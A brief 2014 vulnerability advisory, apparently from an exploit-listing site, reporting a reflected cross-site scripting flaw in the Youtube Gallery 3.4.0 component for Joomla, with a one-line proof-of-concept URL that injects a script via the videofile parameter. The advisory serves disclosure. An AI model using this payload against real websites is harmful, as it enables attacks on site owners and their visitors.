Joomla Youtube Gallery 3.4.0 Cross Site Scripting

2014.03.16

Credit: Mahmoud Ghorbanzadeh

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

Hello,

Cross-site
scripting (XSS) vulnerability in the Youtube Gallery 3.4.0 component for Joomla! allows remote attackers to inject arbitrary web
script or HTML via the videofile parameter to /includes/flvthumbnail.php.

POC:
http://SiteAddress/joomla/components/com_youtubegallery/includes/flvthumbnail.php?videofile=<script>alert('XSS')</script>

See this note in RAW Version

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Joomla Youtube Gallery 3.4.0 Cross Site Scripting

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